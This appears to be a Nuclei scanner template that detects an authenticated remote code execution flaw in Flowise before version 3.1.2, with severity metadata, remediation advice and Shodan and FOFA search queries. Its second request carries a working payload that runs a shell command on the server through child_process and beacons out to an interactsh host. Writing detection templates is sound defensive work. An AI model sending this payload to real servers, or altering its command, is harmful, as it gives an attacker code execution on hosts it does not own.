id: CVE-2026-46442

info:
  name: Flowise < 3.1.2 - node-custom-function Unauthorized RCE
  author: DhiyaneshDk,princechaddha
  severity: critical
  description: |
    Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.
  impact: |
    Authenticated attackers can execute arbitrary system commands on the Flowise server, leading to full server compromise.
  remediation: |
    Update to version 3.1.2 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-46442
    - https://github.com/FlowiseAI/Flowise
    - https://github.com/FlowiseAI/Flowise/security/advisories
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-46442
    cwe-id: CWE-78
    epss-score: 0.03489
    epss-percentile: 0.87964
    cpe: cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*
  metadata:
    verified: false
    max-request: 2
    vendor: flowiseai
    product: flowise
    shodan-query: http.title:"Flowise"
    fofa-query: title="Flowise"
  tags: cve,cve2026,flowise,cmdi,rce,oob,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "Flowise"
        internal: true

  - raw:
      - |
        POST /api/v1/node-custom-function HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-request-from: internal

        {"functionBody":"require('child_process').execSync('nslookup {{interactsh-url}}');return '';","nodeData":{"inputs":{}}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4a0a00473045022069e5dca8d867c6ff51e86aec669fcaeb7a246cd8e588eeed8d1bb319d342b861022100e9b531c0908eb656b8ce5b19cffcdc199ac048055d65f243d1ef81cbd558b04f:922c64590222798bb761d5b6d8e72950